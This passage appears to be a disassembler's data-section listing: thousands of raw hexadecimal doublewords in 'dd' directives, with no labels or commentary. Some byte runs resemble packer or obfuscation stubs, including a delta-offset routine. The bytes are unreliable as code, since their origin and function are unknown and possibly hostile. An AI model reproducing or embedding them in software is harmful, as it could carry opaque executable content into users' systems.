		dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
		dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh,	9CB2E9B5h
		dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
		dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
		dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh,	93BCF996h
		dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h,	899BE0CEh
		dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0E80097B3h
		dd 94E7A601h, 7883323Dh, 0E957DF65h, 13AAh, 258C2568h
		dd 0F338E906h, 3E68FFF9h, 0E906258Dh, 0FFF9F32Eh, 258E0768h
		dd 0F324E906h, 7768FFF9h, 0E906258Fh, 0FFF9F31Ah, 25900C68h
		dd 0F310E906h, 0C668FFF9h, 0E9062590h, 0FFF9F306h, 25917768h
		dd 0F2FCE906h, 2868FFF9h, 0E9062592h, 0FFF9F2F2h, 2592D668h
		dd 0F2E8E906h, 6068FFF9h, 0E9062594h, 0FFF9F2DEh, 25958C68h
		dd 0F2D4E906h, 2C68FFF9h, 0E9062597h, 0FFF9F2CAh, 2598ED68h
		dd 0F2C0E906h, 0D368FFF9h, 0E906259Ah, 0FFF9F2B6h, 259B9C68h
		dd 0F2ACE906h, 3D6FFFF9h, 1C894DC4h, 2A86CE3h, 0E5C488FFh
		dd 0C7DFA31Ah, 0BD77C33Ah, 9C13EEB8h, 0BD34DBD8h, 0DB52AFF9h
		dd 0F86F9017h, 320AB62Fh, 0C519AE17h, 62451A8Dh, 50570B9Dh
		dd 0EBAB38AFh, 0EDC571BBh, 801FD3A1h, 0E29628CCh, 4AC3ED1h
		dd 4EE93C60h, 116C23Bh,	4E15F0A9h, 0A74119C5h, 20D425F2h
		dd 7D0FC3FCh, 0F2A809DDh, 0EEF06F25h, 74420C4Dh, 34A109h
		dd 0A22E0000h, 0FE870095h, 76136C3Eh, 95AE04B0h, 0E884A84Ch
		dd 15F06C43h, 0AAA3CF0h, 25F2AC36h, 475F1F9Ch, 61A00ABAh
		dd 1F1CC23Dh, 974495Ah,	0FD73h,	62450000h, 0CE8E0B9Dh
		dd 56062AE5h, 7838B150h, 943CCE31h, 7D2ADE70h, 6B3CF082h
		dd 5F0B1F88h, 1FD3A187h, 30C2661Ah, 33CED888h, 9B68188Fh
		dd 0D81FD3A5h, 0F09C9018h, 1FD3A618h, 0C153F7ABh, 6245F519h
		dd 0A5441CC8h, 0A1D71FD3h, 0CADB975Fh, 0A246EA56h, 0BF40672Bh
		dd 2C61D62Dh, 5B8E07B3h, 6F2315F1h, 0E3A691F8h,	0AC58E16Ah
		dd 25F35AD4h, 0B003B367h, 679F3B5Fh, 0FA1C14CBh, 9844CD46h
		dd 2C150AC0h, 27B9F53h,	249D6442h, 2ABC4364h, 23E75E82h
		dd 9751FC83h, 0C908C311h, 6E69BE25h, 861CFA66h,	112667h
		dd 758C2000h, 946B3AFEh, 0B051591Dh, 0CB347539h, 0EB169054h
		dd 676E2874h, 874BC23Fh, 0A86CE32Ch, 0C68A0100h, 0DEA71EE1h
		dd 15E1B965h, 3C7419AEh, 0A06145C9h, 0EA406727h, 0D3A1663Eh
		dd 0A145F91Fh, 42EE670Fh, 1FD3A16Ah, 0AE2549FDh, 6F36BDEAh
		dd 0B256FE90h, 467CC43Bh, 0A5FC5278h, 1C974773h, 95B961F3h
		dd 27A0F542h, 0C41689Eh, 5B0F81F9h, 52F69B37h, 0EFA315F0h
		dd 8620E05Dh, 0C841E97Bh, 0F292441Ch, 0FF23D725h, 0F2928F63h
		dd 6876F525h, 75B386D3h, 0BE2709h, 7CB40000h, 8517EABCh
		dd 9F9D835Bh, 84286100h, 8F7B060h, 1DE4C276h, 574E0E8Bh
		dd 4A6E16A8h, 0D34CE1AEh, 3FC0E71Fh, 5CA304C8h,	0D1C473CAh
		dd 5D33AC58h, 0C88815F0h, 0C6FF23DEh, 850E9B12h, 0F25D01D9h
		dd 0BCE09425h, 42BBCE69h, 0B6DC2382h, 3FDF991Bh, 2099BD09h
		dd 13871174h, 0ECBE7E1Ch, 0C6BC9440h, 9B4F2C13h, 99BD65F7h
		dd 7333AC60h, 9357CE33h, 9A87EE13h, 0DBFA67C1h,	100D2645h
		dd 0A5070000h, 8421E55Ch, 6A40047Bh, 4D5C2097h,	2F773BB2h
		dd 550F5BD2h, 34AB5650h, 55CC4370h, 73EA1791h, 9007F8AFh
		dd 0CAA24EC7h, 5D19AE14h, 6145B225h, 426529A0h,	268444BDh
		dd 0C940B7DBh, 94E9BC7Ch, 0FD38ECB8h, 375BFF3Eh, 4DDF2087h
		dd 346F0E99h, 8DD4321Bh, 43077E22h, 54089A67h, 1735AC53h
		dd 9E08C85Eh, 4BEC3F63h, 6821CD46h, 0FD15EFF0h,	4116B649h
		dd 0B40D7C21h, 0C950E83h
		dd 80A45B4Ch, 994D97E4h, 0CE601413h, 54CDC077h,	0BDC745A8h
		dd 0BD69F219h, 29BE06E5h, 729EC478h, 6B0FF62Eh,	0F0B029CDh
		dd 0A92246B9h, 0C841BEE9h, 0D264AB08h, 0CB8F062Ah, 709117DCh
		dd 2B9236DEh, 0FFCD28C8h, 44C0DF75h, 3E00000Fh,	581C936Eh
		dd 773BB24Dh, 9357CE33h, 0AE72E916h, 469209F8h,	0E41D898Ch
		dd 50AA96Dh, 23DECA8Eh,	40BFE8ACh, 0DB8700C9h, 19AE1403h
		dd 45EB5E96h, 0B40B9D62h, 0C950E83h, 0A1FFD783h, 9921FD3h
		dd 0D3A1855Dh, 0C064181Fh, 0AC73009Ch, 67F015F0h, 0AC5A32DEh
		dd 39ED25F2h, 0F2ACC59Dh, 0A45825h, 0AB152289h,	0F2AD27FFh
		dd 6206BA25h, 0B12A60E9h, 2CFC2D0Bh, 9B40DC00h,	481C1099h
		dd 8E620294h, 0F42C1299h, 87D26975h, 260355B4h,	51h, 4CB6679Dh
		dd 0C917A7C4h, 5B7F23DCh, 7E95A2F8h, 81561D12h,	0EAAB95EAh
		dd 0C933B327h, 5C088125h, 15F07D18h, 0D960FC3h,	84A8594Dh
		dd 0B62DD4D4h, 0F27C3406h, 0A05F4825h, 0CCDC9C29h, 0D7FBA335h
		dd 0EE808127h, 0E6ACFh,	27824200h, 7A9E46D8h, 95A217h
		dd 2C1CDB87h, 4B8115F9h, 9C24ED26h, 0B8EE9E53h,	0EB0FB749h
		dd 0FC85FEB2h, 2946B3Ch, 2186365Ah, 4A367DEh, 251269FBh
		dd 7137F770h, 76370FBBh, 16CA25F9h, 29D54E72h, 1C1F00C5h
		dd 0EE0A3A70h, 0D65BA2E6h, 2046F6B0h, 98482E22h, 0D14AEE11h
		dd 0F2699611h, 0F486792Eh, 6A42EE77h, 0FD2C1F92h, 65D22549h
		dd 822EB730h, 2C1F92AAh, 927951FDh, 580C2C1Fh, 0CE476B1Fh
		dd 3C716D22h, 0DF46FA22h, 0E44CEA26h, 0D46A891Fh, 0CE00000Dh
		dd 0E8AC23DEh, 7CB42BDh, 23E75EA3h, 3E027986h, 0D6229968h
		dd 748D191Ch, 957A39FDh, 0B34E5A1Eh, 0D02F783Ch, 6B179059h
		dd 19AE1293h, 597BEE26h, 1FD3A185h, 679A10D0h, 4247F043h
		dd 65AA09C9h, 7F3FC841h, 882BDB34h, 294DF587h, 0F92C618Dh
		dd 0AF28DC15h, 19F19D26h, 0AC25F92Ch, 8324D4F8h, 6641057Ch
		dd 49602099h, 5C00FFAAh, 6CFE22CAh, 0F66F2215h,	1635BD4Ah
		dd 0C571FA1Ch, 2C1835EDh, 29629F09h, 64185175h,	637636FDh
		dd 7E9D33FAh, 0D3Fh, 178E7339h,	36AD5253h, 52C93872h, 6DE41B8Eh
		dd 8D04FDA9h, 287E8741h, 159E62D9h, 0E9BF83FAh,	0CADDA118h
		dd 7CF5BE35h, 0AE11F8D0h, 0E0538B19h, 0B9D6245h, 36AF5057h
		dd 45BAEDADh, 976F0BB3h, 2A1FD3A1h, 8FC05276h, 0F9D17D06h
		dd 8C1FD3A1h, 9527DACCh, 5F2349EDh, 0B064DB38h,	0F9E56084h
		dd 94477742h, 78196F0h,	4D0D0000h, 6A12A45Dh, 95A2E346h
		dd 0C26687Eh, 50F4F2F6h, 71F22BD7h, 0D38715F8h,	1D0D9A5Ah
		dd 0F8709971h, 0D4782C25h, 0F10E995Dh, 70EBBF5Fh, 3625F8h
		dd 750E8E6Ah, 0FC4F7399h, 31DD563Bh, 1C1506A4h,	33066D21h
		dd 32FA6481h, 0C857D9Ch, 2D7F0000h, 0C995DD4h, 0F2B87CF3h
		dd 0D5D4980Fh, 0B7EFB32Ah, 0CD87D34Ah, 0AC23DEC8h, 0CD44CBE8h
		dd 0EB629F09h, 87F8027h, 421AC63Fh, 0D519AE11h,	62452A9Dh
		dd 0CE8E0B9Dh, 0EE9628D7h, 728D1ACAh, 88872CE0h, 4CA5CCF6h
		dd 0DB6ED9A5h, 0F1837C2Bh, 0A78658E7h, 4CEFEF7Ah, 0F094960Dh
		dd 6D2A0h, 85592D00h, 0F61FD3A1h, 4AD34C41h, 4FE1208Ah
		dd 60F20F9Bh, 54F014B8h, 15F92B5Bh, 3C33CF0h, 20E45BA4h
		dd 69E67887h, 7002FFA9h, 0E651A4C8h, 3E6A2AA3h,	658931C3h
		dd 35B340ECh, 0FA301C16h, 0FE340F38h, 0F158FCF4h, 0FA63D236h
		dd 0D45E7D13h, 0CE00000Bh, 0E8AC23DEh, 7CB42BDh, 23E75EA3h
		dd 3E027986h, 0D6229968h, 748D191Ch, 957A39FDh,	0B34E5A1Eh
		dd 0D02F783Ch, 6B179059h, 19AE1093h, 457BEE26h,	570B9D62h
		dd 562EDA50h, 721FD3A1h, 0DE92CB36h, 0A801C13Ah, 0E99BC557h
		dd 9F5185BBh, 49DBFFA3h, 7518D18h, 11A36C47h, 0EAAF4569h
		dd 3F094A7h, 61Bh, 95A290h, 1DE2C787h, 37F780F9h, 57FF916Eh
		dd 2BCD9733h, 480815F9h, 437CA05Fh, 5D56168Fh, 55158EB2h
		dd 7236AD52h, 9838CA35h, 25F92BC4h, 168F0235h, 8CB04F56h
		dd 35DA6713h, 0A3571C16h, 6376A93Ch, 9FBE54FAh,	0B23h
		dd 0FB728F1Dh, 1A916E37h, 36AD5456h, 51C83772h,	71E8198Dh
		dd 44626B25h, 318246BDh, 5A367DEh, 0E6C185FCh, 60D9A219h
		dd 0AE0FDCB4h, 0C4376F19h, 6F47F37Ch, 21FD3A1h,	2D7A2A4Eh
		dd 1B8C40D2h, 0B9E52E4h, 0FAAE62F4h, 76F17507h,	0D98C568h
		dd 0DFC787D1h, 0C4E89022h, 94B86B2Eh, 0D1E2A2F0h, 0E51C8E3Eh
		dd 0EE87AB53h, 563h, 0A180597Bh, 3CFB1FD3h, 8820E059h
		dd 30DC5579h, 15F92B49h, 0D1910ABEh, 0F0B029D6h, 0AB2246B9h
		dd 0AD3FC0E7h, 33ACE156h, 40BFEAAAh, 46E206AEh,	1C163521h
		dd 4B31ACEh, 0C1FA6377h, 0A750C2Bh, 3D6F0000h, 1C894DC4h
		dd 2A86CE3h, 0E5C488FFh, 0C7DFA31Ah, 0BD77C33Ah, 9C13EEB8h
		dd 0BD34DBD8h, 0DB52AFF9h, 0F86F9017h, 320AB62Fh, 0C519AE0Fh
		dd 62451A8Dh, 0A1441CC8h, 23D71FD3h, 6E39ED7Fh,	5B4BFF91h
		dd 476014A6h, 8D1C26B8h, 97C05A51h, 1714955Ch, 447AF373h
		dd 9B0FA2D9h, 62CD466h,	0BCE0D91Ah, 23849D41h, 18D865DCh
		dd 37DF7190h, 203C7D13h, 80D1F094h, 5E000001h, 0B9D6245h
		dd 24DBCE8Eh, 0A8575000h, 0C53A6F2Fh, 0EE658B33h, 9F4F8CFAh
		dd 4BB2294Dh, 8430A9ECh, 15F00A6Fh, 39B648FCh, 77E77503h
		dd 5AA9CF30h, 0B25D56BAh, 0B0D47820h, 0F2A04014h, 0B727A625h
		dd 75B93584h, 4BD809h, 0A2650000h, 0FE870095h, 748484C8h
		dd 3357CF85h, 0EFF2F297h, 149F5F15h, 0F0B569FBh, 0E476B0Fh
		dd 5428C85Ah, 0BA25F232h, 0D42D7D3Dh, 6E271842h, 882148B3h
		dd 9945C0E4h, 0B28A36BFh, 4525F2A1h, 82D76D91h,	2B0975BCh
		dd 0C4h, 9D6245B8h, 56588E0Bh, 2933E29Ah, 0B9ED9DC1h, 9B0FCF48h
		dd 82CD466h, 0EE5C276h,	43EF6897h, 1FD3156Bh, 14A64AFEh
		dd 41B84760h, 0D300B491h, 32CDDA1Fh, 0AEE354BBh, 2800AC35h
		dd 0BB1FD341h, 0BE6AE307h, 15F4ADD9h, 0E1208646h, 4A83A74Fh
		dd 0D4941D96h, 1C992BD6h, 0F4ED9870h, 0D3772B25h, 5AA7FFAFh
		dd 0A5871FE3h, 0F4EE21F9h, 5C00B425h, 6AE5CF5h,	4463F9F0h
		dd 8EBh, 0C33AC7E5h, 0E259A6FFh, 0FE758C1Eh, 19906F3Ah
		dd 39B05155h, 7C2A33EDh, 694A0E85h, 3D6B2FA6h, 1E894DC4h
		dd 28A16AE1h, 0AE0DA47Ch, 8CFF3719h, 6F47F37Ch,	8B1FD3A1h
		dd 0A74FE11Eh, 0E696BA6Eh, 6CA41C0h, 70E75EA1h,	16916245h
		dd 0CCC45E9h, 2ED668A7h, 0E3C4780Ah, 0C4689710h, 0E11E8B4Bh
		dd 0C83A74Fh, 32EDDh, 15905000h, 0A263C6EAh, 0FE870095h
		dd 0A1F1C975h, 7C971FD3h, 4B42FAF2h, 0FFA767A0h, 9E3A5E02h
		dd 15F02441h, 694AA8DEh, 4E17EF9Bh, 0F6AA25F2h,	11838BD0h
		dd 673BDB6Dh, 0CD25F1B6h, 0ECB01A50h, 0D6FC03A2h, 0D1F534E7h
		dd 0E6B38856h, 7097544h, 276h, 0A1825994h, 4ED71FD3h, 8E4E0A18h
		dd 32CEF7C8h, 1FD2DA5Ah, 0C21539EDh, 79299E75h,	6E746ECDh
		dd 8C851CAh, 0A44064ABh, 15F8F6B3h, 917038F8h, 0BDFE346Dh
		dd 0E0A9B92Ah, 0D960FB3h, 17A9664Dh, 1BF4BF6Fh,	0DBDE189h
		dd 63EC659Ah, 0F8E9DFB7h, 9ABE7225h, 0B7485F23h, 2469CE25h
		dd 0F3DAFFABh, 0D3871C15h, 63B51B6Ch, 0B1D066FAh, 7BFh
		dd 970EF3B9h, 0B62DD2D3h, 0D249B8F2h, 0ED649B0Eh, 0D847D29h
		dd 0A8FE07C1h, 951EE259h, 693F037Ah, 4A5D2198h,	0FC753EB5h
		dd 0AE0C7850h, 60D30B19h
		dd 249D6245h, 0E50A61EEh, 0A1C55137h, 1E5C920Fh, 7CA41A0Eh
		dd 0B9EE9EC2h, 0AA00B446h, 9611C557h, 0D853D769h, 2CA72706h
		dd 0BB386FB2h, 5DA205EEh, 0ED7F23CBh, 802AA145h, 0F094FC39h
		dd 8F7234F4h, 0FCD480FDh, 8F1FD36Dh, 7A1337DBh,	186h, 1B624507h
		dd 0A67B15FFh, 926D3AA9h, 4B84AEEh, 7EE55CA3h, 0D25BD4B9h
		dd 0EC944C9Ch, 229B6559h, 0D35D9E76h, 597D311Fh, 0F065A8BDh
		dd 31753515h, 0F2963ED0h, 64ECC060h, 0D55225F2h, 0DFEC5B9Fh
		dd 30540D54h, 471229B5h, 660975F4h, 54h, 0FEF4A7DDh, 3CA3BE82h
		dd 7B97FF16h, 95B9CE3Bh, 0F495A232h, 2FA84CB3h,	0EDBB386Fh
		dd 0D34C7014h, 0F0808227h, 0E97B2F15h, 0F2C07549h, 825CDB25h
		dd 0C9A14DD6h, 5C25F2C0h, 0C04F27D3h, 2EE225F2h, 89D0668Ah
		dd 4409745Dh, 4CDE2184h, 0B6E780A4h, 74000000h,	1CC86245h
		dd 1FD3A144h, 0CAA24ED7h, 5D1FD3A1h, 5E5505A9h,	0D3771FB1h
		dd 0E8198D41h, 0FA05A256h, 744CF881h, 71FD3A1h,	0E99D2F53h
		dd 8F7035BEh, 17C474EBh, 1D1FD3F4h, 97FE758Ah, 0EB74EDA0h
		dd 0D3F3673Fh, 9E190D1Fh, 0EAC2D299h, 60D9FDB1h, 6EE2A1D7h
		dd 9DC75F88h, 77F8DD79h, 0F1A515F5h, 7B2FEF78h,	0F4B26286h
		dd 0D4D2960Dh, 0D77B8421h, 5F0E570h, 0ABCA60F0h, 61Fh
		dd 0F76E9319h, 168D7233h, 32A95852h, 4DC43B6Eh,	6DE41D89h
		dd 485E6721h, 357E42B9h, 99F63DAh, 0EABD81F8h, 5CD59E15h
		dd 0AE0AD8B0h, 0C0336B19h, 29A06145h, 46BD4265h, 0BD467CCFh
		dd 623AE69Eh, 0F51FD343h, 52E61B41h, 7532E206h,	0C4D6B408h
		dd 27CB97A9h, 46B9EEAEh, 56E80CB4h, 83FA05A2h, 6654h, 0BC7CDD00h
		dd 0D88012EDh, 0A1DBB35Fh, 0BA6E1FD3h, 3EC1E696h, 0DBA68FC5h
		dd 5DDF5F24h, 0A12AA739h, 0D3031DF5h, 0BFF7C31Fh, 0FFBE183h
		dd 4EFE22D6h, 0F00F9A59h, 3FEAA5Eh, 1F29BB5Fh, 8B395C92h
		dd 36082639h, 0DA479712h, 0D9B15DCDh, 6C1FD352h, 760807ACh
		dd 0F862ACEh, 68824C82h, 0F639F07Eh, 24B7D2h, 45400000h
		dd 0DC199162h, 0EE9236C9h, 0A1E7BC5Ch, 0AAFD1FD3h, 9A0FC355h
		dd 792D365h, 0BA3556D7h, 55AAFD24h, 467C67DEh, 1A380FBCh
		dd 8C3C60B2h, 0D552E41Bh, 6A16CC9Fh, 90B40336h,	1E97FA3Dh
		dd 0F8A0B372h, 90225815h, 430E1CAEh, 860F882Ch,	0DB495F50h
		dd 0A8612E8h, 120C6E01h, 520226CAh, 6F33AA55h, 8E4EC738h
		dd 0AA52E41Bh, 9A9DF486h, 49F57EF7h, 25F7FD71h,	0B32C5004h
		dd 0C53C6A2Ah, 0CB678B33h, 1C1D8867h, 0EF18DC12h, 90B78A18h
		dd 0F7B373ECh, 0E3C4780Ah, 3EE28A1Ch, 5818A11Ah, 771FB150h
		dd 0FB04A353h, 7137F784h, 0EBBC6C90h, 0CEDB9B14h, 0D3F79F31h
		dd 734DEA41h, 1D9AEFC7h, 649D0B2Ch, 3DF12AD2h, 4A602099h
		dd 56538435h, 0AC50674Ah, 0AE630F88h, 3B223A28h, 682E06B2h
		dd 0D581323Ch, 323C68FDh, 0EFA3DC90h, 234FE44Bh, 34CAE44Fh
		dd 45E15h, 0AD545800h, 0CC337236h, 0E8199155h, 3FCAD71h
		dd 23DEC88Ch, 9FA660ACh, 0BF83FA07h, 0E0A41BF4h, 0FEC239C8h
		dd 16DF56A9h, 0A19F19Dh, 74AC19AEh, 9D624501h, 0BA456226h
		dd 0CC337428h, 0DF22863Ah, 0F51A994Dh, 8C52D163h, 38A621A1h
		dd 0C841BEE9h, 0D7287F3Fh, 29019D45h, 0CF1FD3A2h, 0A7D9975Dh
		dd 0C6FC3531h, 0F494BAE0h, 3E620621h, 555C1DC7h, 891F094h
		dd 0D2C4845Ch, 3D63171Fh, 57AAE9C8h, 0D87195FDh, 45h, 421AC64Fh
		dd 0D51FD2E5h, 0E5C8A04Ch, 0A75B1FD2h, 0A27CDF03h, 4FB2F495h
		dd 0E9A932ABh, 791D43BCh, 93A5F90Dh, 33771337h,	0DE15F005h
		dd 0B7F1B12Ah, 5123D34Ah, 6525F204h, 8246BD42h,	2A49DB26h
		dd 393h, 9D6245B3h, 0AF50570Bh,	2366D138h, 0EC9821AAh
		dd 1FD3A214h, 0C1CDF3A7h, 0D3284128h, 7F943054h, 0CC15EFC6h
		dd 0EAF56E96h, 0C6EACDECh, 0A747D98Dh, 25F214D3h, 1724BA39h
		dd 9753542h, 27E8CB8Bh,	536A03h, 0A2F70000h, 0DB870095h
		dd 15F08136h, 0E4456DA3h, 3FD12E7Bh, 9C7E7197h,	6D215A7Eh
		dd 8AB6BF4h, 31CD7507h,	25F30559h, 208838ECh, 8B2BBDE1h
		dd 25F305B7h, 9426DBCBh, 0A638C7E0h, 2904DA65h,	0A9924CCBh
		dd 97420D0h, 0B34C5D1Dh, 0BC557921h, 0C6h, 9D624549h, 0B24F570Bh
		dd 423B6C20h, 0DEFA703h, 9527CBEEh, 0C239C6E1h,	0D2F64512h
		dd 0A35C4B1Fh, 0C03F682Ch, 2D60D72Eh, 6CA22BB4h, 7AC56785h
		dd 6DE7AA4h, 221FD319h,	43EB7D84h, 9632560Ah, 15F02D6Dh
		dd 0D5AD59E2h, 6825F22Ch, 329910B4h, 6B179005h,	1C139C90h
		dd 60DBB7EDh, 4A709115h, 0F2168398h, 38C05B9h, 0D0E152CDh
		dd 0F519C893h, 29A06145h, 59C04165h, 0FA678A10h, 78809F35h
		dd 72000002h, 8C50C73Ah, 0AB6FE619h, 0C78B02FFh, 0E2A61DE2h
		dd 7AC63DC4h, 18E9BDC0h, 39D6DDA1h, 57AAFEC2h, 748B1CE0h
		dd 0FBB34FDh, 19AE0737h, 451F92CAh, 6529A061h, 0B946BD42h
		dd 0A1AC8430h, 8B3F1FD3h, 95A20467h, 36DB8700h,	0E315F081h
		dd 29FD9D2Fh, 8F25F2C2h, 2C6DCE10h, 0C109745Ch,	0A1h, 9D62454Eh
		dd 0B24F570Bh, 0A5B38020h, 0EEB91FD3h, 0D1D69A11h, 1E7FB52Eh
		dd 49845C7Ch, 0DE708F1Ah, 0DC6E9236h, 66DFB285h, 0F14591BAh
		dd 0B43DC615h, 0F3443008h, 730FC325h, 25F3449Bh, 1D567A2Eh
		dd 0AC8BF269h, 60BDDA67h, 0E88C166Eh, 6783C36Fh, 72261C14h
		dd 946D39F9h, 0B44D591Dh, 66E1224Dh, 6A891FFAh,	1AFh, 87FE03A9h
		dd 0A61DE2C3h, 0C239C8E2h, 0DD54ABFEh, 0FD748D19h, 0B8EEF7B1h
		dd 0A50ED249h, 792FF36Ah, 5A4D1188h, 0EC652EA5h, 0AE066840h
		dd 50C3FB19h, 29A06145h, 46BD4265h, 9D6245CFh, 0AF50570Bh
		dd 561F0036h, 44C3265Bh, 0F016071h, 2549ED15h, 42BDEAAEh
		dd 0ABDE59B0h, 73E58632h, 8A4A15F0h, 83BCE01Fh,	122056CFh
		dd 0FC40963Ch, 0EA03256h, 0D5D24F8Fh, 0EB4CB32Ah, 38812DA6h
		dd 6D1C0FEBh, 7507F8ADh, 768B1DCDh, 0D3651952h,	0E577881Fh
		dd 0EC924CDBh, 0EDC5714Bh, 802C11E9h, 3AF28CCh,	222EF0BAh
		dd 7D762FEFh, 9F47D936h, 9DC169FBh, 7539B064h, 0CB54CD32h
		dd 30EF471Fh, 226DA32h,	15ECBC70h, 6C72F183h, 0A501F2B5h
		dd 7E22CA5Ch, 0F297A007h, 12EFB979h, 28C975EEh,	0CD284DDAh
		dd 0D4D38719h, 0EC139656h, 501A7850h, 0B3570B38h, 0C9466D21h
		dd 4268337h, 501A8058h,	0BB5F1338h, 0B42AA529h,	8D99C9F7h
		dd 6C101E0Ch, 4A161DEh,	0A7684BFBh, 0A8D60883h,	0A179258Fh
		dd 34385001h, 0B763DC80h, 2E6CEC16h, 0AEBBB7Bh,	9CC0649Bh
		dd 0D138AF63h, 0FEAA2366h, 3494B677h, 86792CECh, 0FFA969E2h
		dd 0A2C87002h, 0EE5BF8DFh, 58EA0E7Ah, 0CEA652DBh, 6144955Fh
		dd 57A8FDADh, 0DB248333h, 0F807A064h, 1B03C666h, 54E30DEEh
		dd 0EF10978Ah, 6941ED76h, 0FC96905Ah, 0E9AD2448h, 3FC841BEh
		dd 3AD62B7Fh, 96905A62h, 8B1D41F5h, 8421D2D7h, 9D41E97Bh
		dd 0E4FA790Bh, 1E956A3Dh, 20B24D5Ah, 0A01h, 0BC7C8A00h
		dd 0DA8214EBh, 450168B6h, 54089A67h, 661AAC53h,	792DBF42h
		dd 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h, 0DA8E20E1h
		dd 86A234CBh, 81E68956h, 4C6h, 4EE8300h, 2474FF56h, 48F5E04h
		dd 96685C24h, 8900004Bh, 89572414h, 4C781E7h, 83000000h
		dd 3C8704EFh, 1C895C24h, 8AD66824h, 148B0625h, 4C48324h
		dd 241C8B54h, 5204C483h, 3CD1BA52h, 5401002Ch
		dd 8F5A0424h, 6B810843h, 2C3CD108h, 2434FF00h, 4C4835Bh
		dd 5724148Bh, 0C781E789h, 4, 8704C783h,	0E95C243Ch, 0FFF9DF9Ah
		dd 70B803DCh, 306259Dh,	0D5E0FFC5h, 0CB5EDFD9h,	0CB74AE53h
		dd 0B116F471h, 0F69360Bh, 0D7235CA3h, 86531BD1h, 0CB00FBD8h
		dd 221B01C0h, 3E226D98h, 9C010861h, 2C67D2AFh, 0D146A3A1h
		dd 7F006AECh, 0DA782773h, 930FAC8Ch, 0FD6D4114h, 55121EFh
		dd 0FF11ED15h, 0BF31F4D7h, 5139B969h, 0FE19A647h, 0E84EAE72h
		dd 5, 0D66B7504h, 5BFE8BE1h, 13E860h, 23850000h, 1503AA6Ah
		dd 0F3275EFBh, 0C82D1F9Dh, 968DBE34h, 5BC8B55Bh, 0A3130ABEh
		dd 0C381612Ah, 5BDFh, 0CCF443B8h, 0C220BE6Ch, 0C6814156h
		dd 0BEA954A2h, 0DAB833FFh, 59559F75h, 6BC181F5h, 0E95CDA5Ah
		dd 13h,	89B72380h, 0B891361Ch, 751DB882h, 4A15908Ah, 81486519h
		dd 0BFC15BF1h, 0A7BB6009h, 5162ABEDh, 5AC2BF0Fh, 0DAC18161h
		dd 665973B0h, 5160C1B8h, 3890Fh, 0B70F0000h, 8B038FD3h
		dd 3EB83D6h, 0E68A4BF9h, 0F01EE83h, 2985h, 9E800h, 0DC250000h
		dd 0F156F844h, 668F6D35h, 58441CBAh, 22E9h, 46853300h
		dd 0C03821E2h, 5D704EC4h, 2796B96h, 0CF8193E1h,	66FA2E70h
		dd 0FFFF6BE9h, 7610BEFFh, 0E9692195h, 15Fh, 60D48B52h
		dd 0E8h, 0ED815D00h, 6259F39h, 3D08428Bh, 78263845h, 138850Fh
		dd 428B0000h, 184A8B0Ch, 3BBBC8D3h, 337CB69Dh, 4E883C3h
		dd 0B5D8589h, 588B061Fh, 8BF88B04h, 4A8B1042h, 0BEC8D318h
		dd 0EB216B62h, 0C72BC633h, 83FCE083h, 858904E8h, 61F20C5h
		dd 8914428Bh, 1F137D85h, 18428B06h, 0B0E953h, 0B5FF0000h
		dd 61F2AB5h, 0B9E9h, 7DB5FF00h,	0E9061F15h, 0AEh, 1D15B5FFh
		dd 0A3E9061Fh, 0FF000000h, 1F0F41B5h, 98E906h, 0B5FF0000h
		dd 61F3025h, 8DE9h, 0B1B5FF00h,	0E9061F1Eh, 82h, 1ECDB5FFh
		dd 77E9061Fh, 0FF000000h, 1F0D29B5h, 6CE906h, 0B5FF0000h
		dd 61F1545h, 61E9h, 49B5FF00h, 0E9061F07h, 56h,	105DB5FFh
		dd 4BE9061Fh, 0FF000000h, 1F3291B5h, 40E906h, 0B5FF0000h
		dd 61F1575h, 35E9h, 5B5FF00h, 0E9061F01h, 2Ah, 2D01B5FFh
		dd 1FE9061Fh, 0FF000000h, 1F0865B5h, 14E906h, 0D88B0000h
		dd 0BB8h, 0E3F76600h, 9F9A8D8Dh, 0C8030625h, 95FFE1FFh
		dd 61F2D59h, 5D858B5Bh,	39061F0Bh, 850F0458h, 0Fh, 0FF016A53h
		dd 1F1D4595h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah,	0D4C96AB8h
		dd 8BE0FF77h, 1F00A185h, 888D8D06h, 890625A0h, 0C38B0141h
		dd 0AE8h, 96682C00h, 0F5C3A448h, 0BACEC921h, 2D8EBB63h
		dd 8CE8159h, 8174D582h,	5DA6C1h, 8B0F00h, 33000000h, 10E9DBh
		dd 0DBA50000h, 0AF2CD23Dh, 9A4A1CDDh, 0CB3C18D9h, 3C8B8930h
		dd 9E919h, 83A0000h, 511CF201h,	8161541Dh, 21599FC7h, 83BE662Ch
		dd 0FCF78154h, 0E96A2E4Ah, 10h,	86D70FB1h, 9C3E22CBh, 0DA7FD12Ch
		dd 0FF05FD93h, 0F75AC781h, 8EB625A7h, 60193C89h, 8E0FD58Ah
		dd 3, 61D4D880h, 837DC280h, 820F04EBh, 18h, 13E9h, 1989200h
		dd 804A82E2h, 882E8BFh,	0E04AE2F9h, 19A5D1D2h, 0A340FB81h
		dd 850FFFFFh, 20h, 5E860h, 63500000h, 0F67039Ch, 80h, 0B70F5F00h
		dd 18E961C2h, 0AD000000h, 13571085h, 0F1DA8166h, 0FF58E9E4h
		dd 0F272FFFFh, 0BAC803AFh, 0EBE10DE2h, 8, 13FE9500h, 502E940h
		dd 0BE680000h, 0E90625A2h, 0FFF9DBDAh, 25A33768h, 0DBD0E906h
		dd 7B68FFF9h, 0E90625A4h, 0FFF9DBC6h, 67DE2389h, 86FD02A3h
		dd 0A219E8C2h, 0BD34CBDEh, 0DD54ADF9h, 0D8CED791h, 0C5EEB229h
		dd 990FD34Ah, 7A2DF168h, 0CC450E85h, 0AE004820h, 30A3DB19h
		dd 13EEBC7Ch, 9A673FEFh, 0AC535408h, 2469CE35h,	95EAFFABh
		dd 0C37715F0h, 0E01F8A4Ah, 0B68A2ABCh, 1C25F2D4h, 0EE58699Fh
